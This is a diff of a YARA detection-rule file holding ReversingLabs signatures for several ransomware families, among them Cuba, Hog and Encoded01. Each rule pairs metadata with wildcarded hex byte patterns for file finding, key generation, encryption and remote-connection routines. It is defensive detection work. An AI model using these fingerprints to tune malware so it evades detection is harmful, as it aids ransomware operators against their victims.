+            04 24 ?? ?? ?? ?? 89 C6 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 04 24 C1 F8 ?? 89 F1 89
+            44 24 ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 EC ?? 89 B5 ?? ?? ??
+            ?? 89 85 ?? ?? ?? ?? 89 C3 A1 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 89
+            04 24 89 54 24 ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ??
+            ?? ?? ?? 89 95 ?? ?? ?? ?? 89 54 24 ?? 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89
+            7C 24 ?? 89 44 24 ?? 89 34 24 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 5C 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 83 C3 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 89 44 24 ?? FF
+            95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 EC ?? 39 C3 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 76 ?? 81 BD ?? ??
+            ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 89 C6 C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 34 24 E8 ??
+            ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB
+          }
+		$remote_connection_p1 = {
+            55 57 56 53 81 EC ?? ?? ?? ?? 8B 1A 39 18 0F 84 ?? ?? ?? ?? 89 54 24 ?? 89 C6 8D 5C
+            24 ?? F6 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 DF 8B 56 ?? 89 54 24
+            ?? 8B 56 ?? 89 54 24 ?? 8B 56 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89
+            3C 24 E8 ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 01 C7 89 F8 29 D8 BA ?? ?? ?? ?? 89 D5
+            29 C5 F6 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 06 89 44 24 ?? 8B 46 ?? 89 44 24 ??
+            C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 3C 24 E8 ?? ?? ?? ?? 89 5C 24 ?? 8B 7C 24 ??
+            8B 07 89 04 24 E8 ?? ?? ?? ?? FF 47 ?? 8B 46 ?? 01 47 ?? 8B 6E ?? 85 ED 0F 84 ?? ??
+            ?? ?? 89 6C 24 ?? 8D 44 24 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 8D B6 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 85 C0 74 ?? C6 03 ?? A8 ?? 0F 85 ??
+            ?? ?? ?? 8B 7D ?? 8B 75 ?? 89 2C 24 E8 ?? ?? ?? ?? 89 7C 24 ?? 89 74 24 ?? 89 44 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 74 24 ?? 29 F0 89 44 24 ?? 8D 04 33 89
+            04 24 E8 ?? ?? ?? ?? 89 DF 8B 17 83 C7 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ??
+            ?? 74 ?? A9 ?? ?? ?? ?? 75 ?? C1 E8 ?? 83 C7 ?? 88 C1 00 C1 83 DF ?? 29 DF 8B 75
+        }
+		$remote_connection_p2 = {
+            89 34 24 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 29 F9 39 C1 0F 8D ?? ?? ?? ?? 8D 04 3B 83 F9
+            ?? 0F 83 ?? ?? ?? ?? 85 C9 74 ?? 8A 16 88 10 F6 C1 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ??
+            ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 01 D8 89 04 24 E8 ?? ?? ?? ??
+            89 5C 24 ?? 8B 44 24 ?? 8B 00 89 04 24 E8 ?? ?? ?? ?? 8B 6D ?? 85 ED 74 ?? 8D 44 24
+            ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? FF 44 24 ?? 8B 44 24 ?? 83 F8 ??
+            0F 82 ?? ?? ?? ?? C7 44 03 ?? ?? ?? ?? ?? 8D 48 ?? C1 E9 ?? 89 DF B8 ?? ?? ?? ?? F3
+            AB E9 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3 90 8D 74 26 ??
+            8D 40 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 10 89 54 24 ?? 8B 50 ?? 89 54 24 ?? 8B 40 ?? 89
+            44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89
+            DA 8B 0A 83 C2 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? 74 ?? A9
+        }
+		$remote_connection_p3 = {
+            75 ?? C1 E8 ?? 83 C2 ?? 88 C1 00 C1 83 DA ?? 29 DA 8D 3C 13 B8 ?? ?? ?? ?? 29 D0 E9
+            ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 8D BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 29 F8 89 44 24 ?? 89
+            74 24 ?? 01 DF 89 3C 24 E8 ?? ?? ?? ?? 89 D8 8B 08 83 C0 ?? 8D 91 ?? ?? ?? ?? F7 D1
+            21 CA 81 E2 ?? ?? ?? ?? 74 ?? F7 C2 ?? ?? ?? ?? 75 ?? C1 EA ?? 83 C0 ?? 88 D1 00 D1
+            83 D8 ?? 29 D8 BA ?? ?? ?? ?? 29 C2 E9 ?? ?? ?? ?? 8D 74 26 ?? 8D BC 27 ?? ?? ?? ??
+            8B 16 89 10 8B 54 0E ?? 89 54 08 ?? 8D 78 ?? 83 E7 ?? 29 F8 29 C6 01 C1 C1 E9 ?? F3
+            A5 E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 89 54 24 ?? 8D 46 ?? 89
+            04 24 E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 3C 24 E8 ??
+            ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 01 C7 89 F8 29 D8 8B 54 24 ?? 29 C2 89 D5 E9 ?? ??
+            ?? ?? 8D B4 26 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 8B 44 24 ?? 66 C7 44 03 ?? ?? ?? E9
+            ?? ?? ?? ?? 66 8B 54 0E ?? 66 89 54 08 ?? E9 ?? ?? ?? ?? 90 8B 54 24 ?? 8B 44 24 ??
+            E9
         }
 
 	condition:
-		uint16(0)==0x5A4D and $encrypt_file_1 and $encrypt_file_2 and $encrypt_file_3
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Cuba : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Hog : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Cuba ransomware."
+		description = "Yara rule that detects Hog ransomware."
 		author = "ReversingLabs"
-		id = "b2c81849-9fa6-58b6-b6fe-4d9a5f0923ea"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "b4f26acf-5ff1-5c49-8cfa-8f619af84efd"
+		date = "2021-10-12"
+		modified = "2021-10-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Cuba.yara#L1-L126"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0a8dea6e38a6407897b994ea119bc8b0712a94363b7b3942dcd32c65ee5548d4"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Hog.yara#L1-L70"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "c5cbc79fee9083ed3befa6b0d348f2d38064bb9012b8f0ca11afd7137243866d"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -44094,104 +44184,550 @@ rule REVERSINGLABS_Win32_Ransomware_Cuba : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Cuba"
+		tc_detection_name = "Hog"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$generate_key = {
+            73 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 1A 8D ?? ?? ?? ?? 0C 2B ?? 07 08 6F ?? ?? ?? ?? 08
+            16 28 ?? ?? ?? ?? 0D 06 72 ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 5E 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 26 02 25 17 59 10 ?? 16 30 ?? 06 6F ?? ?? ?? ?? 13 ?? DE ?? 07 2C ??
+            07 6F ?? ?? ?? ?? DC 11 ?? 2A
+        }
+		$find_files = {
+            16 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 06 16 16 6F ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 00 1F
+            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 7E ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 17 31 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ??
+            ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C
+            2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 2C ?? 08 6F ??
+            ?? ?? ?? DC 28 ?? ?? ?? ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC DE ?? 26 28 ?? ?? ?? ??
+            DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 2A
+        }
+		$encrypt_files_p1 = {
+            02 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ??
+            ?? ?? ?? 31 ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 06 1F ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 19
+            73 ?? ?? ?? ?? 0B 02 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 06 6F ?? ?? ??
+            ?? 17 73 ?? ?? ?? ?? 0D 08 06 6F ?? ?? ?? ?? 16 06 6F ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ??
+            07 09 6F ?? ?? ?? ?? DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC DE ?? 08 2C ?? 08 6F ?? ?? ??
+            ?? DC DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 02 28 ??
+            ?? ?? ?? DE ?? 26 DE ?? 2A
+        }
+		$encrypt_files_p2 = {
+            73 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 8D ?? ?? ??
+            ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 0B
+            73 ?? ?? ?? ?? 0C 08 06 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 0D 09 07 16 07 8E 69 6F ?? ??
+            ?? ?? 09 6F ?? ?? ?? ?? DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 10 ?? DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 02 13 ?? DE ?? 06 2C ?? 06 6F ?? ?? ??
+            ?? DC 26 DE ?? 02 2A 11 ?? 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ($generate_key) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Encoded01 : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Encoded01 ransomware."
+		author = "ReversingLabs"
+		id = "923d987e-f888-5b6a-9ebd-ee1257124aed"
+		date = "2021-12-16"
+		modified = "2021-12-16"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Encoded01.yara#L1-L141"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "f6f872290f15f4c564911bb099824c47cb13164457e1bcdb02dee441bc2d6b6a"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Encoded01"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$find_files_p1 = {
-            51 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8B D7 8D 4D ?? E8 ??
-            ?? ?? ?? 83 C4 ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 72 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ??
-            0F B7 00 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ??
-            0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45
-            ?? 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43
-            45 ?? 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? B0 ?? EB ?? 32 C0 84 C0
-            0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D3 C6
-            45 ?? ?? 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D
-            ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0
-            ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 55 ??
-            8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 75 ?? 8B 5D ?? 83 FB ?? 8B 7D ?? 8B 45 ?? 0F
-            43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ??
-            83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9
-            ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ??
-            ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1
+            55 8B EC 51 B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 87 4D ?? 53 56 57 89 4D ?? 89 55
+            ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
+            64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 8B 15 ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ??
+            8B 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 8B 55 ?? 66 83 7C 42 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 ??
+            ?? ?? ?? 8B 7D ?? 4F 85 FF 0F 8C ?? ?? ?? ?? 47 8D 85 ?? ?? ?? ?? 50 FF 75 ?? 68 ??
+            ?? ?? ?? 8B 45 ?? 8B 55 ?? FF 34 90 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ??
+            33 F6 46 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 8D
+            95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            0F 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ??
+            ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ??
+            ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ??
+            8B 45 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8A 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 84
         }
 		$find_files_p2 = {
-            66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ??
-            8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75
-            ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8
-            ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75
-            ?? EB ?? 83 7D ?? ?? 75 ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 FA ?? 0F 43 C1 66 83 38 ??
-            75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 83 78 ?? ?? 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66
-            83 78 ?? ?? 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 83 78 ?? ?? 74 ?? 8B 8D ?? ?? ?? ??
-            8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? C6 45 ?? ?? 83 FB ?? 72 ?? 8D 0C 5D ??
-            ?? ?? ?? 8B C7 81 F9 ?? ?? ?? ?? 72 ?? 8B 7F ?? 83 C1 ?? 2B C7 83 C0 ?? 83 F8 ?? 0F
-            87 ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B
-            9D ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B
-            C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ??
-            ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B 55 ?? C7 45
-            ?? ?? ?? ?? ?? 66 89 45 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA
-            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ??
-            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15
+            C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 8B 95
+            ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8A 55 ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? A1
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 6A ?? 68 ??
+            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 8B 00 E8 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 3B 55 ?? 75 ?? 3B 45 ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? ?? 83 7D ?? ??
+            75 ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 73 ??
+            8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 E8 ?? ?? ?? ?? 59 89 45 ?? 83 7D ?? ?? 0F 84 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 8B 45 ?? E8 ??
+            ?? ?? ?? 8B D0 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? 8D 45 ?? 50 B9 ?? ?? ??
+            ?? 33 D2 33 C0 E8 ?? ?? ?? ?? 8B D0 8B 45 ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? E8 ?? ??
+            ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 E8 ?? ?? ?? ?? 59 89 45 ?? 83 7D ?? ?? 74
+            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 8B 45 ?? E8 ?? ?? ??
+            ?? 8B D0 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? 8D 45 ?? 50 B9 ?? ?? ?? ?? 33
+            D2 33 C0 E8 ?? ?? ?? ?? 8B D0 8B 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? EB ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 74 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8A 45 ?? 50 8A 45 ?? 50 FF 75 ?? 68 ?? ??
+            ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B
+            55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0
+            40 84 C0 0F 85 ?? ?? ?? ?? 83 FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 4F
         }
 		$enum_resources = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
-            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B DA 89 5D ?? 8D 45 ?? C7 45 ?? ?? ??
-            ?? ?? 50 51 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 32
-            C0 E9 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 74 ?? 66 90
-            FF 75 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 56 8D 45 ?? 50 FF 75 ?? FF 15
-            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 FF 39 7D ?? 76 ?? 83 C6 ?? 83 7E ?? ?? 0F 85
-            ?? ?? ?? ?? 83 3E ?? 0F 85 ?? ?? ?? ?? 8B 56 ?? 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 58 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C3 8D 4D
-            ?? D1 F8 50 52 E8 ?? ?? ?? ?? 8B 5D ?? 8D 45 ?? 50 8B CB C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ??
-            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51
-            E8 ?? ?? ?? ?? 83 C4 ?? F7 46 ?? ?? ?? ?? ?? 74 ?? 8D 4E ?? 8B D3 E8 ?? ?? ?? ?? 47
-            83 C6 ?? 3B 7D ?? 0F 82 ?? ?? ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF
-            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 94 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B
-            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+            55 8B EC 83 C4 ?? 53 56 57 8B F9 89 55 ?? 8B F0 8B 5D ?? C6 45 ?? ?? 33 C0 89 03 33
+            C0 89 07 8D 45 ?? 50 8B 45 ?? 50 6A ?? 56 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 89 03 83 3B ?? 74 ?? 83 3B ?? 74 ??
+            C7 07 ?? ?? ?? ?? 8B 03 33 C9 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 03 50 57 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 8B F0 81 FE ?? ?? ?? ?? 75 ?? 8B C3 8B 55 ?? E8 ?? ?? ?? ?? EB
